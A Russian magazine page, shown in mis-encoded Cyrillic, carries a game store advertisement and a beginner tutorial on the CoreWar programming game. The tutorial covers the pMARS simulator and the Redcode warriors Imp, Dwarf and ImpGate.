Caribbean 

The Ultimate Halo
Companion 
DVD Set 

Halo/Halo: Combat Evolved 

$79.99*/79.99

$83.99*/83.99

$83.99*/83.99$75.99*/85.99 $79,99*/59,99 

PAL $259.99  

NTSC $289.99

Tao Feng: 
Fist of the Lotus

$83.99*/85.99

Soul Calibur II 

$83.99*/85.99

Star Wars:
Knights of the
Old Republic 

$29,99* 

www.e-shop.ru www.gamepost.ru

(095) 928-6089 (095) 928-0360 (095) 928-3574
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* - öåíà íà àìåðèêàíñêóþ âåðñèþ èãðû (NTSC)

e-mail: sales@e-shop.ru
ñ 10.00 äî 21.00 ïí - ïò 
ñ 10.00 äî 19.00 ñá - âñ   
ñòîèìîñòü äîñòàâêè

ñíèæåíà íà 10%!

Çàêàçû ïî èíòåðíåòó � êðóãëîñóòî÷íî! e-mail: sales@e-shop.ru
Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü ñ 10.00 äî 21.00 ïí - ïò

ñ 10.00 äî 19.00 ñá - âñ   
ÑÓÏÅÐÏÐÅÄËÎÆÅÍÈÅ ñòîèìîñòü äîñòàâêè
ÄËß ÈÍÎÃÎÐÎÄÍÈÕ ÏÎÊÓÏÀÒÅËÅÉ ñíèæåíà íà 10%!

Òåõíè÷åñêèå ïàðàìåòðû:



Shen (_shen_@mail.ru)

× åðåç ãîä èãðå CoreWar èñïîëíèòñÿ äâàäöàòü ëåò. Òåì íå ìåíåå, ìàëî êòî çíàåò î íåé, äàæå â ïðîãðàììåðñêîé ñðåäå.
Ïðè÷åì çäåñü ïðîãðàììåðû? À ïðè òîì, ÷òî CoreWar ìîæíî íàçâàòü èãðîé âåñüìà óñëîâíî. ß íàäåþñü, ïðî÷èòàâ

ýòó ñòàòüþ, òû ïîéìåøü, ïî÷åìó îíà íàïå÷àòàíà â íîìåðå, ïîñâÿùåííîì âèðóñàì.

ÈÃÐÛ ÍÀÑÒÎßÙÈÕ
ÊÎÄÅÐÎÂ
COREWAR AKA ÁÎÉ Â ÏÀÌßÒÈ

1984 ãîäó, â æóðíàëå
"Íàóêà Àìåðèêè", ïðî-
ôåññîð A.K.Dewdney
(äî ñèõ ïîð íå çíàþ,
êàê ïðîèçíîñèòñÿ åãî

ôàìèëèÿ :)) îïóáëèêîâàë ñòàòüþ î
ïðèäóìàííîé èì èãðå, êîòîðóþ îí
íàçâàë CoreWar. Ñìûñë çàêëþ÷àëñÿ
â ñëåäóþùåì: ó÷àñòíèêè ïèñàëè
ïðîãðàììû íà ÿçûêå, ïîõîæåì íà àñ-
ñåìáëåð, è ýòèì ïðîãðàììàì ïðåäñ-
òîÿëî ñðàæàòüñÿ çà ñâîáîäíîå ìåñ-
òî â âûäåëåííîì êóñêå ïàìÿòè. Â
ñòàòüå Dewdney ñîñòàâèë ÷åòêèå
ïðàâèëà, ïî êîòîðûì ïðîãðàììà
ïðèçíàâàëàñü ïîáåæäåííîé, ïðåäóñ-
ìîòðåë âîçìîæíîñòü íè÷üåé, ïðåäñ-
òàâèë ïóáëèêå íåñêîëüêî ðàçëè÷-
íûõ ïðîãðàìì-áîéöîâ. Èãðà ïðèø-
ëàñü ïî âêóñó è çà êîðîòêîå âðåìÿ
íàøëà ñòîëüêî ïîêëîííèêîâ, ÷òî
âñêîðå èìè áûëî ñîçäàíî Ìåæäóíà-
ðîäíîå Îáùåñòâî Ëþáèòåëåé
CoreWar (ICWS -
InternationalCoreWarSociety). Îáùå-
ñòâî çàíèìàëîñü ðàñïðîñòðàíåíèåì
èãðû, ïðîâåäåíèåì ÷åìïèîíàòîâ è,
êîíå÷íî, ðàçðàáîòêîé ñòàíäàðòîâ.
Áûëî ïðåäïðèíÿòî ìíîãî ïîïûòîê
óëó÷øèòü è äîïîëíèòü ÿçûê
Redcode, ïðåäëîæåííûé Dewdney
äëÿ CoreWar, è â ðåçóëüòàòå, íà ñå-
ãîäíÿøíèé äåíü ñóùåñòâóþò òðè îñ-
íîâíûõ ñòàíäàðòà: ICWS'86, ICWS'88
è ICWS'94. Ïåðâûé èç íèõ, îò 1986
ãîäà, äàâíî óñòàðåë è íå èñïîëüçó-
åòñÿ. Äå-ôàêòî íà ñåãîäíÿ - âåðñèÿ
ICWS'94, â êîòîðîé ÿçûê Redcode
áûë äîïîëíåí íåêîòîðûìè ïðèíöè-
ïèàëüíî íîâûìè âîçìîæíîñòÿìè
(íàïðèìåð, áûëà ââåäåíà ïîääåðæêà
ìíîãîçàäà÷íîñòè). Îäíàêî ïî
ICWS'88 âñå åùå ïðîâîäÿòñÿ áîè,
ïîýòîìó â êîììåíòàðèÿõ ê ïðîãðàì-
ìå-áîéöó íåîáõîäèìî óêàçûâàòü,
äëÿ êàêîãî ñòàíäàðòà ïðåäíàçíà÷åí
âîèí.

Äëÿ òîãî ÷òîáû âîéòè â ìèð CoreWar,
íàäî ñîâñåì íåìíîãî: ïðîãðàììà-ñè-
ìóëÿòîð è ýòà ñòàòüÿ. Ñàìûé ðàñïðîñò-
ðàíåííûé ñèìóëÿòîð CoreWar íàçûâà-
åòñÿ pMARS (portable Memory Array
Redcode Simulator). Âçÿòü åãî, âìåñòå

ñ êó÷åé äðóãîé èíôîðìàöèè ïî
CoreWar, ìîæíî íà www.koth.org. Â
ýòîé ñòàòüå ÿ áóäó îðèåíòèðîâàòüñÿ
íà pMARS 0.8.0, è ïåðâîå, ÷òî íàì
ïðåäñòîèò ñäåëàòü - ðàçîáðàòüñÿ, êàê
ðàáîòàòü ñ ýòèì ñèìóëÿòîðîì.

PMARS 0.8.0
Ó ìåíÿ áûëè ïðîáëåìû ñ çàïóñêîì

pMARS ïîä XP, ïîýòîìó, åñëè ó òåáÿ

NT-based Âèíäîâñ, ìîæåøü èñïîëüçî-
âàòü àëüòåðíàòèâíûé ïàêåò: ftp.uni-
yar.ac.ru/home/libra/core_war.zip.
Èòàê, ñ koth.org òû äîëæåí âçÿòü ñàì
ñèìóëÿòîð (pmars08.zip) è ïàêåò
èíñòðóìåíòîâ ê íåìó (ptools11.zip). Îáà
àðõèâà íóæíî ðàñïàêîâàòü â îäíó
ïàïêó. Ñîçäàåøü â ýòîì æå êàòàëîãå
ôàéë imp.red, è ïèøåøü â íåì ñëåäó-
þùåå:

MOV 0, 1

Òû òîëüêî ÷òî ñîçäàë ñîáñòâåííîãî
CoreWar-áîéöà! Êàê ýòî ðàáîòàåò, ÿ
îáúÿñíþ ÷óòü ïîçæå, à ñåé÷àñ çàïóñ-
êàé pshell.exe - îáîëî÷êó äëÿ pMARS.
Âî-ïåðâûõ, óñòàíîâè îïöèþ Options-
>Coreviewer â çíà÷åíèå text. Òåïåðü
áîé ïðîãðàìì áóäåò èçîáðàæàòüñÿ
ASCII-ñèìâîëàìè, à íå ãðàôèêîé. Ïî-
÷åìó? Òàê ïðîùå ðàçáèðàòüñÿ íà ïåð-
âûõ ïîðàõ, êîãäà íå ïîíèìàåøü çíà-
÷åíèÿ ðàçëè÷íûõ èçîáðàæåíèé. Âî-
âòîðûõ, èäè â Options->Values è ñòàâü
öèôðó 7 â îêîøêå Display Speed. Òàê
òû ñìîæåøü íàáëþäàòü çà õîäîì áèò-
âû â íåñïåøíîì òåìïå. Òåïåðü ìû ãî-
òîâû ê ïåðâîé áèòâå! File->Load, âûáè-
ðàåøü äâà ðàçà îäèí è òîò æå ôàéë -
imp.red, è æìåøü íà Run. Òåáå, íàâåð-
íîå, åùå ìíîãîå íåïîíÿòíî, íî ïîëü-

çîâàòüñÿ pMARS'îì òû óæå óìååøü.
Ïåðåõîäèì ê òîìó, èç-çà ÷åãî âñå è çà-
òåâàëîñü - ó÷èìñÿ ïðîãðàììèòü íà
Redcode!

ÏÐÀÂÈËÀ
Èòàê, ÿçûê, íà êîòîðîì ïèøóòñÿ

ïðîãðàììû-áîéöû, íàçûâàåòñÿ
Redcode. Ðàññêàçàòü â íåáîëüøîé
ñòàòüå îáî âñåõ âîçìîæíîñòÿõ
Redcode íåðåàëüíî, ïîýòîìó ìû îãðà-
íè÷èìñÿ îñíîâàìè, "êàðêàñîì" ÿçûêà.
Íî ïðåæäå ÷åì ïðèñòóïàòü íåïîñðåä-
ñòâåííî ê êîäó, ðàçáåðåìñÿ, êàê ïðî-
òåêàåò áîé â ïàìÿòè.

Åäèíèöà èçìåðåíèÿ ïàìÿòè â
CoreWar - êîìàíäà, îíà æå èíñòðóê-
öèÿ. Â îòëè÷èå îò àññåìáëåðà íàñòîÿ-
ùåãî, â Redcode âñå èíñòðóêöèè "âå-
ñÿò" îäèíàêîâî: ëþáàÿ ñòðîêà íà
Redcode çàíèìàåò ðîâíî îäíó "êî-
ìàíäó". Ïîëå áîÿ îáû÷íî èìååò ðàç-
ìåð 8000. Ò.å. ïðîãðàììà, ñîñòîÿùàÿ
èç âîñüìè òûñÿ÷ êîìàíä, çàéìåò ñî-
áîé âñå ïîëå.

Ñíà÷àëà pMARS çàãðóæàåò ïðîòèâíè-
êîâ â ïàìÿòü, ðàçìåùàÿ èõ íà ïîëå
áîÿ ñëó÷àéíûì îáðàçîì (ìîæíî óêà-
çàòü ðàñïîëîæåíèå è âðó÷íóþ, íî ïî
ïðàâèëàì òóðíèðîâ - random). Ïîòîì
ñèìóëÿòîð âûïîëíÿåò ïåðâóþ êîìàí-
äó îäíîãî èç áîéöîâ (íåâàæíî êàêî-
ãî), çàòåì ïåðâóþ êîìàíäó âòîðîãî,
âòîðóþ êîìàíäó ïåðâîãî, âòîðóþ êî-
ìàíäó âòîðîãî è ò.ä. Òàê ïîâòîðÿåòñÿ
äî òåõ ïîð, ïîêà îäíà èç ïðîãðàìì íå
áóäåò ïðèçíàíà ïðîèãðàâøåé èëè ñè-
ìóëÿòîð íå îáúÿâèò íè÷üþ. Ïðàâèëà,
âêðàòöå, òàêîâû:
1. Ïðîöåññ, ïîïûòàâøèéñÿ âûïîëíèòü
äàííûå, à íå êîä, ïîãèáàåò.
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2. Ïðîãðàììà, âñå ïðîöåññû êîòîðîé
ìåðòâû, ïðîèãðûâàåò.
Ïðîñòàÿ ïðîãðàììà èìååò âñåãî îäèí
ïðîöåññ, ïðîöåññû æå ñëîæíûõ ïðîã-
ðàìì ìîãóò èñ÷èñëÿòüñÿ äåñÿòêàìè.
Òû, íàâåðíîå, íå ñîâñåì ïîíÿë, ÷òî
çíà÷èò "âûïîëíèòü äàííûå, à íå êîä"
è ò.ä., íî ïîñëå ïðî÷òåíèÿ ñëåäóþùå-
ãî ðàçäåëà âñå äîëæíî ñòàòü êðèñ-
òàëüíî ÿñíî :).

REDCODE
Redcode èñïîëüçóåò àññåìáëåð-

íûå êîìàíäû, íî íå â ïðèâû÷íîì ñòè-
ëå Intel, à â ñèíòàêñèñå AT&T:
<èíñòðóêöèÿ> <èñòî÷íèê> <ïðèåìíèê>
À íå íàîáîðîò, êàê ïðèâûêëè ëþáèòå-
ëè tasm'à, masm'à è ïðî÷èõ àññåìáëå-
ðîâ ñ ñèíòàêñèñîì Intel'à. Ïåðâàÿ êî-
ìàíäà, ñ êîòîðîé ìû ïîçíàêîìèìñÿ -
MOV, òàê êàê ñ åå ïîìîùüþ óæå ìîæ-
íî íàïèñàòü ïðîñòåéøåãî áîéöà.

"MOV A, B" ñêîïèðóåò îäíó êîìàíäó
ïî àäðåñó A, â ìåñòî ñ àäðåñîì B. Îòñ-
÷åò âåäåòñÿ îò òåêóùåé èíñòðóêöèè,
ò.å. "MOV -1, 1" ñêîïèðóåò êîìàíäó,
ïðåäøåñòâóþùóþ MOV, íà ìåñòî êî-
ìàíäû, ñëåäóþùåé ïîñëå MOV. Åñëè
ïðîãðàììà âûãëÿäèò òàê:

Êîìàíäà ¹1
MOV -1, 1
Êîìàíäà ¹2

òî ïîñëå âûïîëíåíèÿ êîìàíäû "MOV -
1, 1", îíà ïðèìåò âèä:

Êîìàíäà ¹1
MOV -1, 1
Êîìàíäà ¹1

Ïðîñòî, íå òàê ëè? Òåïåðü ìû ìîæåò
íàïèñàòü íàøåãî ïåðâîãî âîèíà. Åãî
êîä ñîñòîèò âñåãî èç îäíîé ñòðî÷êè:

MOV 0, 1

Ýòà åäèíñòâåííàÿ êîìàíäà êîïèðóåò
ñàìó ñåáÿ íà ìåñòî ñëåäóþùåé êî-
ìàíäû:

Ïåðâûé öèêë:
MOV 0, 1 ; ñåé÷àñ pMARS 
âûïîëíèò ýòó êîìàíäó

Âòîðîé öèêë:
MOV 0, 1
MOV 0, 1 ; ñåé÷àñ pMARS 
âûïîëíèò ýòó êîìàíäó

Òðåòèé öèêë:
MOV 0, 1
MOV 0, 1
MOV 0, 1 ; ñåé÷àñ pMARS 
âûïîëíèò ýòó êîìàíäó

Â äàëüíåéøåì ñëîâà "ñåé÷àñ pMARS
âûïîëíèò ýòó êîìàíäó" ìû áóäåì çà-
ìåíÿòü ñòðåëêîé "<---". Êðàÿ ïîëÿ áîÿ
çàìêíóòû, ò.å. ïîñëå àäðåñà 7999 ñíî-
âà èäåò 0, ïîýòîìó, ïðèâåäåííàÿ âû-
øå ïðîãðàììà, çàïîëíèâ ïîëå öåëè-
êîì, íà÷íåò ñëåäóþùèé êðóã, è áóäåò
çàïîëíÿòü ïîëå èíñòðóêöèÿìè "MOV
0, 1" äî áåñêîíå÷íîñòè. Ýòî îäèí èç
êëàññè÷åñêèõ áîéöîâ, è èìÿ åìó - Imp.
Åñëè ïðèíöèï åãî ðàáîòû íà ñëîâàõ
çâó÷èò íå î÷åíü ïîíÿòíî, ïðîâåäÿ â
pMARS'å íåñêîëüêî ñõâàòîê, òû òî÷íî
âî âñåì ðàçáåðåøüñÿ. Åñëè ñåé÷àñ
ìû ñòðàâèì íà ïîëå áîÿ äâóõ Èìïîâ,
ñèìóëÿòîð ïðîâîçãëàñèò íè÷üþ: òàê
êàê îáà Èìïà èìåþò îäèíàêîâóþ ñêî-
ðîñòü, îíè ïðîñòî áóäóò áåñêîíå÷íî
"ãîíÿòüñÿ" äðóã çà äðóãîì. Ïîýòîìó
äëÿ èñïûòàíèé íàì ïîòðåáóåòñÿ äðó-
ãîé áîåö.

Èòàê, ñëåäóþùàÿ êîìàíäà Redcode.
"JMP A" ïåðåäàåò óïðàâëåíèå íà êî-
ìàíäó ñ àäðåñîì A (êàê òû ïîìíèøü,
àäðåñàöèÿ èäåò îòíîñèòåëüíî òåêó-
ùåé êîìàíäû). Òàê ÷òî çàòðóäíåíèé ñ
äðóãèì êëàññè÷åñêèì âîèíîì - Wait, ó
òåáÿ âîçíèêíóòü íå äîëæíî. Ñîõðàíè
ñëåäóþùóþ ñòðî÷êó â ôàéëå
wait.red:

JMP 0

Äà! Îí íè÷åãî íå äåëàåò, à ïðîñòî
êàæäûé öèêë ïåðåäàåò óïðàâëåíèå íà
ñåáÿ æå, ò.å. íàõîäèòñÿ â áåñêîíå÷íîì
öèêëå. Âîò ñ ýòèì-òî "âîèíîì" ìû è
ñòðàâèì íàøåãî Èìïà. File->Load, âû-
áèðàé Èìïà è Âýéòà, æìè Run. Âîïðîñ
íà çàñûïêó: êòî ïîáåäèò? À âîò è íåò!
Íå ïîáåäèò íèêòî - pMARS îáúÿâèò
íè÷üþ! Ïî÷åìó? Ïîìíèøü, ÿ äàâàë
äâà îñíîâíûõ ïðàâèëà CoreWar? ß
ãîâîðèë, ÷òî ïðîãðàììà ïðîèãðûâàåò,
òîëüêî åñëè ïîïûòàåòñÿ âûïîëíèòü
äàííûå, à íå êîä? Òî-òî æå. Èìï, äîé-
äÿ äî òîãî ìåñòà, ãäå ñòîèò çàöèêëåí-
íûé Âýéò, ïåðåïèøåò åãî "JMP 0"
ñâîèì "MOV 0, 1", è Âýéò ñàì ïðåâðà-
òèòñÿ â Èìïà! Òî åñòü íà ïîëå áîÿ áó-
äåò äâà Èìïà, ÷òî, êàê ìû óæå ãîâîðè-
ëè, ïðèâåäåò ê íè÷üåé! Ïîëó÷àåòñÿ,
Èìï âîîáùå íå ñïîñîáåí ïîáåäèòü
êîãî-ëèáî? Â ïðèíöèïå, äà - Èìï ìî-
æåò âûèãðàòü òîëüêî â òîì ñëó÷àå,
åñëè âðàæåñêàÿ ïðîãðàììà ñàìîóíè÷-
òîæèòñÿ. Âïðî÷åì, êàê è Âýéò. Òåì íå »

Íàâîðî÷åííûé ýìóëÿòîð, â êîòîðîì ÿ

òàê è íå ðàçîáðàëñÿ

Äâà Èìïà ãîíÿþò äðóã äðóãà ïî ïîëþ :)



ìåíåå, èäåÿ, ïîëîæåííàÿ â îñíîâó
Èìïà, èñïîëüçóåòñÿ âî ìíîãèõ ýô-
ôåêòèâíûõ ïðîãðàììàõ-áîéöàõ.

Òåáå, íàâåðíîå, óæå íå òåðïèòñÿ ïîñ-
ìîòðåòü íà ïîëíîöåííóþ ïðîãðàììó,
êîòîðàÿ ñìîæåò ïîáåäèòü õîòÿ áû
Âýéòà? Ìû íàïèøåì òàêóþ ïðîãðàììó,
íî äëÿ ýòîãî íàì íóæíî óçíàòü åùå
äâå êîìàíäû è ïîçíàêîìèòüñÿ ñ äðó-
ãèìè ñïîñîáàìè àäðåñàöèè.

ADD, DAT, @ è #

"ADD A, B" ïðèáàâèò êîìàíäó ñ àäðå-
ñîì A ê êîìàíäå ñ àäðåñîì B è çàïè-
øåò ðåçóëüòàò ïî àäðåñó B. Òàêàÿ
ôîðìà ADD íàñ íå óñòðàèâàåò, ïîýòî-
ìó ïåðåïèøåì åå òàê: "ADD #A, B". Òå-
ïåðü ýòî îçíà÷àåò: ïðèáàâèòü ÷èñëî A
êî âòîðîìó îïåðàíäó êîìàíäû ñ àäðå-
ñîì B (÷àùå ãîâîðÿò "ê B-ïîëþ êîìàí-
äû ñ àäðåñîì B"). Ñëèøêîì çàïóòàí-
íî? Ñìîòðè:

ADD #1, 1 ; <--- 
MOV 0, 0

Êîìàíäà ADD â äàííîì ïðèìåðå ïðè-
áàâèò ÷èñëî îäèí ê B-ïîëþ èíñòðóê-
öèè MOV, ïðåâðàòèâ ýòó êîìàíäó â
Èìïà: "MOV 0, 1". Ò.å. çíàê # îçíà÷àåò,
÷òî èìååòñÿ â âèäó íå àäðåñ, à êîíê-
ðåòíîå ÷èñëî.

×òî äåëàåò êîìàíäà MOV â ñëåäóþ-
ùåé ïðîãðàììå?

MOV 0, @1 ; <---
ADD #1, 1

Îíà êîïèðóåò ñàìó ñåáÿ ïî àäðåñó, íà
êîòîðûé óêàçûâàåò âòîðîé îïåðàíä
êîìàíäû ïî àäðåñó 1. Òû ïîìíèøü, ÷òî
âñå àäðåñà ðàññ÷èòûâàþòñÿ îòíîñè-
òåëüíî òåêóùåé èíñòðóêöèè? Ïî àäðå-
ñó 1 íàõîäèòñÿ êîìàíäà ADD, âòîðîé
îïåðàíä êîòîðîé ðàâåí 1. Ñëåäîâà-
òåëüíî, MOV êîïèðóåò ñàìó ñåáÿ ïî
àäðåñó, ðàâíîìó åäèíèöå îòíîñèòåëü-
íî ADD. Òàêèì îáðàçîì, ïîñëå âûïîë-
íåíèÿ ïåðâîé èíñòðóêöèè, ïîëå áóäåò
âûãëÿäåòü òàê:

MOV 0, @1
ADD #1, 1 ; <---
MOV 0, @1

Ïîíÿòíî? Òåïåðü ðàçáåðåìñÿ ïî-
ïîäðîáíåå, êàê ïîãèáàåò ïðîöåññ.
Õî÷åøü ïîñìîòðåòü íà ïðîãðàììó,
êîòîðàÿ ïðîèãðûâàåò áîé ñ Âýéòîì?
Ñìîòðè:

JMP 1 ; <---

×òî ïðîèñõîäèò? JMP ïåðåäàåò óï-
ðàâëåíèå íà ñëåäóþùóþ êîìàíäó, à
ñëåäóþùåé êîìàíäû íåò! Èçíà÷àëü-
íî, äî òîãî, êàê âûïóñòèòü áîéöîâ íà
ïîëå, pMARS çàïîëíÿåò ïîëå íóëÿìè,
ò.å. äàííûìè. È íàøà ïðîãðàììà, ïû-
òàÿñü âûïîëíèòü äàííûå, à íå êîä,
ïîãèáàåò! Òåïåðü-òî òû òî÷íî ïîíè-
ìàåøü, êàê ðàáîòàåò Èìï: îí ìîñòèò
ïåðåä ñîáîé äîðîãó èíñòðóêöèÿìè
"MOV 0, 1" è ïîýòîìó íèêîãäà íå âû-
ïîëíèò äàííûå âìåñòî êîäà! Ó òåáÿ
íå âîçíèêàåò íèêàêèõ èäåé? À íåëü-
çÿ ëè íàñèëüíî çàñòàâèòü âðàæåñ-
êóþ ïðîãðàììó âûïîëíèòü äàííûå?
Íàïðèìåð, ïîäáðîñèòü íà ïóòè Èìïà
ïàðó íîëèêîâ? Ìîæíî!

Êîìàíäà DAT îïðåäåëÿåò äàííûå.
Ïåðâîå ïîëå êîìàíäû íè íà ÷òî íå
âëèÿåò, íî ìîæåò èñïîëüçîâàòüñÿ äëÿ
àäðåñàöèè, âòîðîå æå çàäàåò òî ÷èñ-
ëî, êîòîðîå áóäåò ðàñïîëîæåíî íà
ýòîì ìåñòå. Â ñàìîì íà÷àëå ïîëå áîÿ
çàïîëíåíî êîìàíäàìè "DAT #0, #0",
ò.å. íóëÿìè. Âîò áîåö-ñàìîóáèéöà:

JMP 1 ; <---
DAT #0, #0

Îí ïîëíîñòüþ èäåíòè÷åí ïðåäûäóùå-
ìó (JMP 1), íî òàê íàãëÿäíåå. Òåïåðü,
îâëàäåâ îñíîâàìè Redcode, ìû ìîæåò
ñîçäàòü ïåðâîãî íàñòîÿùåãî áîéöà!

DWARF
Ñðàçó æå äàþ ëèñòèíã, à ðàçáè-

ðàòüñÿ áóäåì ïîòîì:

ADD #4, 3 ; <---
MOV 2, @2
JMP -2
DAT #0, #0

Êîìàíäà ADD ïðèáàâèò ÷èñëî 4 ê B-
ïîëþ èíñòðóêöèè "DAT #0, #0", ïðåâ-
ðàòèâ åå â "DAT #0, #4":

ADD #4, 3
MOV 2, @2 ; <---
JMP -2
DAT #0, #4

Êîìàíäà MOV ñêîïèðóåò êîìàíäó
"DAT #0, #4" ïî àäðåñó, ñîäåðæàùå-
ìóñÿ â B-ïîëå èíñòðóêöèè "DAT #0,
#4", ò.å. ïî àäðåñó 4, îòíîñèòåëüíî êî-
ìàíäû DAT:

ADD #4, 3
MOV 2, @2
JMP -2 ; <---

DAT #0, #4
�
�
�
DAT #0, #4

Òåïåðü JMP ïåðåâåäåò óïðàâëåíèå íà
äâå êîìàíäû íàçàä:

ADD #4, 3 ; <---
MOV 2, @2
JMP -2
DAT #0, #4
�
�
�
DAT #0, #4

ADD ïðèáàâèò 4 ê B-ïîëþ êîìàíäû
"DAT #0, #4", ïðåâðàòèâ åå â "DAT
#0, #8":

ADD #4, 3
MOV 2, @2 ; <---
JMP -2
DAT #0, #8
�
�
�
DAT #0, #4

MOV ñêîïèðóåò èíñòðóêöèþ DAT #0,
#8 ïî àäðåñó 8, îòíîñèòåëüíî
èíñòðóêöèè "DAT #0, #8":

"DAT #0, #8":
ADD #4, 3
MOV 2, @2
MP -2 ; <---
DAT #0, #8
�
�
�
DAT #0, #4
�
�
�
DAT #0, #8

Òåïåðü JMP ñíîâà ïåðåäàñò óïðàâ-
ëåíèå íà ADD, è âñå ïîâòîðèòñÿ: åùå
÷åðåç ÷åòûðå èíñòðóêöèè ïðîãðàììà
áðîñèò êîìàíäó "DAT #0, #12".
Äâàðô (òàê íàçûâàåòñÿ ýòîò áîåö)
áîìáèò ïîëå áîÿ äàííûìè, ñ ïðîìå-
æóòêîì â òðè èíñòðóêöèè. Âðàã, íàñ-
òóïèâøèé íà áîìáó, ò.å. ïûòàþùèéñÿ
âûïîëíèòü êîìàíäó DAT, ïîãèáàåò.
Íî òû âåäü ïîìíèøü, ÷òî ïîëå áîÿ
çàìêíóòî, è, äîáîìáèâ åãî äî êîíöà,
Äâàðô íà÷íåò çàêèäûâàòü DAT'û,
íà÷èíàÿ ñ àäðåñà 0, è âñêîðå ñàì ïî-
ïàäåò ïîä ñîáñòâåííûå áîìáû! Íåò,
íå ïîïàäåò. Íå çðÿ æå ïðîìåæóòîê
ìåæäó ìèíàìè ñîñòàâëÿåò ðîâíî òðè
èíñòðóêöèè - ýòîãî êàê ðàç õâàòàåò,
÷òîáû ñàìà ïðîãðàììà ñìîãëà ïîìåñ-
òèòüñÿ ìåæäó áîìáàìè. Ò.ê. êîìàíäà
ADD êàæäûé ðàç ïðèáàâëÿåò ê DAT'ó
÷èñëî ÷åòûðå, òî Äâàðô çàùèùåí
îò ñîáñòâåííûõ ìèí íà ëþáîì ïîëå,
ðàçìåð êîòîðîãî êðàòåí ÷åòûðåì.
Ìèíóòêó, âåäü âðàã òîæå ìîæåò
ïðîñêî÷èòü ìåæäó ñíàðÿäàìè? Äà,
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À íåëüçÿ ëè íàñèëüíî çàñòàâèòü
âðàæåñêóþ ïðîãðàììó âûïîëíèòü äàííûå? 

Íàïðèìåð, ïîäáðîñèòü íà ïóòè Èìïà 
ïàðó íîëèêîâ? 



ìîæåò. Íî ÷åãî òû õîòåë îò áîéöà â
÷åòûðå ñòðî÷êè? :)

ÈÌÏÎËÎÂÊÀ
Ñåé÷àñ ÿ ðàññêàæó òåáå î ïðèåìå,

íàçûâàåìîì ImpGate, è êóðñ "Îñíîâû
Redcode" ìîæíî ñ÷èòàòü îêîí÷åííûì.
Ìíîãèå ñåðüåçíûå CoreWar-ïðîãðàì-
ìû òåì èëè èíûì ñïîñîáîì èñïîëüçó-
þò ïðèíöèï ñàìîðàçìíîæàþùèõñÿ
Èìïîâ: êòî-òî äåëàåò ñòàâêó íà "Êîëü-
öî", êîãäà â àòàêó îäíîâðåìåííî èäóò
íåñêîëüêî Èìïîâ, êòî-òî èñïîëüçóåò
èõ êàê ïðèêðûòèå, íî ôàêò îñòàåòñÿ
ôàêòîì - Èìïû æèâû! À çíà÷èò, íàäî
óìåòü ïðîòèâîñòîÿòü èì. Èòàê, èìïî-
ëîâêà, ïî íàó÷íîìó ImpGate:

JMP 0, <-10

Äà, òàêàÿ ìàëåíüêàÿ, íî êðàéíå ýô-
ôåêòèâíàÿ ïðîòèâ Èìïîâ. Êàê æå ýòî
ðàáîòàåò? Òû, íàâåðíîå, óäèâëåí, ïî-
÷åìó ó êîìàíäû JMP âäðóã ïîÿâè-
ëîñü B-ïîëå. Ïîìíèøü ñèòóàöèþ ñ
DAT, êîãäà âòîðîé îïåðàíä çàäàâàë
äàííûå, à A-ïîëå íè÷åãî íå äåëàëî?
Òóò ïîõîæàÿ ñèòóàöèÿ, íî ñíà÷àëà î
çíàêå "<". Èíñòðóêöèÿ "<-10" óìåíü-
øàåò íà åäèíèöó B-ïîëå êîìàíäû, íà-
õîäÿùåéñÿ íà 10 èíñòðóêöèé ðàíüøå
òåêóùåé. Òàêèì îáðàçîì, êîìàíäà
"JMP 0, <-10" êàæäûé öèêë âûïîëíÿ-
åò ñðàçó äâà äåéñòâèÿ: ïðîäîëæàåò
âûïîëíÿòü áåñêîíå÷íûé öèêë è
óìåíüøàåò âòîðîé îïåðàíä íåêîé
èíñòðóêöèè, íàõîäÿùåéñÿ íà 10 ïîçè-
öèé ðàíüøå JMP. À êàêàÿ èíñòðóêöèÿ
íàõîäèòñÿ òàì â ñëó÷àå ÷èñòîãî ïî-
ëÿ? Ïðàâèëüíî, "DAT #0, #0". Çíà-
÷èò, ïîñëå ïåðâîãî öèêëà òàì áóäåò
óæå "DAT #0, #-1", ïîñëå âòîðîãî -
"DAT #0, #-2" è ò.ä. Âîò ýòî ìåñòî è
íàçûâàåòñÿ Gate (èëè ëîâóøêà). Âñå
ýòî î÷åíü èíòåðåñíî, íî ïðè÷åì
çäåñü Èìïû? ×òîáû ïîíÿòü ýòî, ðàñ-
ñìîòðèì áîé ìåæäó Èìïîì è Èìïî-
ëîâêîé (äëÿ êðàòêîñòè ëèñòèíãîâ
ïðåäïîëîæèì, ÷òî Èìï è Èìïîëîâêà
ðàñïîëîæåíû íåäàëåêî äðóã îò äðóãà
- ñóòè äåëà ýòî íå ìåíÿåò):

Ïåðâûé öèêë (ñòðåëêîé îáîçíà÷åíà
èíñòðóêöèÿ, êîòîðóþ Èìï áóäåò âû-
ïîëíÿòü ñëåäóþùåé):
MOV 0, 1 ; <---
�
DAT #0, #0 ; çäåñü íàìå÷àåòñÿ
ñîçäàòü ëîâóøêó
Âòîðîé öèêë:
MOV 0, 1
MOV 0, 1 ; <---
DAT #0, #-1 ; çäåñü óæå ñîçäà-
íà ëîâóøêà

Òðåòèé öèêë (ïîñëå õîäà Èìïà):
MOV 0, 1 ; çäåñü âûñàäèëñÿ Èìï
MOV 0, 1 
MOV 0, 1 ; <--- çäåñü áûëà ëîâóøêà

Íà òðåòüåì öèêëå Èìï ïåðåïèñûâàåò
ñîáîé ëîâóøêó. Â ñâîé ÷åðåä JMP
óìåíüøàåò B-ïîëå ëîâóøêè íà åäèíè-

öó. Íî òàì æå óæå íå ëîâóøêà, à Èìï!
À êàêàÿ ðàçíèöà?

Òðåòèé öèêë (ïîñëå õîäà Èìïîëîâêè):
MOV 0, 1 ; çäåñü âûñàäèëñÿ Èìï
MOV 0, 1
MOV 0, 0 ; <--- JMP óìåíüøèë B-ïîëå 
MOV'à íà åäèíèöó
×åòâåðòûé öèêë (ïîñëå õîäà Èìïà):
MOV 0, 1 ; çäåñü âûñàäèëñÿ Èìï
MOV 0, 1
MOV 0, 0 ; çäåñü áûëà ëîâóøêà

; <---

Èìï âûïîëíÿåò êîìàíäó "MOV 0, 0":
êîïèðóåò ýòó êîìàíäó íà åå æå ìåñòî,
ò.å. âîîáùå íè÷åãî íå äåëàåò, íî ñ÷åò-
÷èê êîìàíä ðàáîòàåò è ñëåäóþùàÿ
èíñòðóêöèÿ, êîòîðóþ âûïîëíèò Èìï -
äàííûå, à íå êîä - "DAT #0, #0"!

×åòâåðòûé öèêë (ïîñëå õîäà Èìïîëîâ-
êè):
